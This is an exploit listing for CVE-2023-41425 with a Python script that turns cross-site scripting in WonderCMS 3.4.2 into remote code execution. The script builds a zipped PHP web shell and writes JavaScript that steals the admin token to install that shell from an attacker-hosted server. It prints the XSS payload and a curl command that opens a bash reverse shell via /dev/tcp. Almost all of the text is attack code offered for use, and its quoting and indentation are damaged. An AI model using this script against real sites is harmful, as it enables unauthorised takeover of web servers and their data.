WonderCMS 3.4.2 Cross Site Scripting / Code Execution

• CVE-2023-41425

WonderCMS version 3.4.2…

# Exploit Title: WonderCMS v3.4.2 XSS to RCE
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# CVE: CVE-2023-41425

import requests
import argparse
from argparse import RawTextHelpFormatter
import os
import subprocess
import zipfile
from termcolor import colored

def main():
parser = argparse.ArgumentParser(description=”Exploit Wonder CMS v3.4.2
XSS to RCE”, formatter_class=RawTextHelpFormatter)
parser.add_argument(“–url”, required=True, help=”Target URL of
loginURL (Example: http://sea.htb/loginURL)”)
parser.add_argument(“–xip”, required=True, help=”IP for HTTP web
server that hosts the malicious .js file”)
parser.add_argument(“–xport”, required=True, help=”Port for HTTP web
server that hosts the malicious .js file”)
args = parser.parse_args()

target_login_url = args.url
target_split = args.url.split(‘/’)
target_url = target_split[0] + ‘//’ + target_split[2]

# Web Shell
print(“[+] Creating PHP Web Shell”)
if not os.path.exists(‘malicious’):
os.mkdir(‘malicious’)
with open (‘malicious/malicious.php’, ‘w’) as f:
f.write(‘‘)
with zipfile.ZipFile(‘./malicious.zip’, ‘w’) as z:
z.write(‘malicious/malicious.php’)
os.remove(‘malicious/malicious.php’)
os.rmdir(‘malicious’)
else:
print(colored(“[!] Directory malicious already exists!”, ‘yellow’))

# Malicious .js
js = f”’var token =
document.querySelectorAll(‘[name=”token”]’)[0].value;
var module_url =
“{target_url}/?installModule=http://{args.xip}:{args.xport}/malicious.zip&directoryName=pwned&type=themes&token=”
+ token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open(“GET”, module_url);
xhr.send();”’

print(“[+] Writing malicious.js”)
with open(‘malicious.js’, ‘w’) as f:
f.write(js)

xss_payload = args.url.replace(“loginURL”,
“index.php?page=loginURL?”)+”\”>

“+args.xip+”:”+args.xport+”/malicious.js\”> print(“[+] XSS Payload:”)
print(colored(f”{xss_payload}”, ‘red’))

print(“[+] Web Shell can be accessed once .zip file has been
requested:”)

print(colored(f”{target_url}/themes/malicious/malicious.php?cmd=“,
‘red’))
print(“[+] To get a reverse shell connection run the following:”)
print(colored(f”curl -s ‘{target_url}/themes/malicious/malicious.php’
–get –data-urlencode \”cmd=bash -c ‘bash -i >& /dev/tcp//
0>&1’\” “, ‘yellow’))

print(“[+] Starting HTTP server”)
subprocess.run([“python3”, “-m”, “http.server”, “-b”, args.xip,
args.xport])

if __name__ == “__main__”:
main()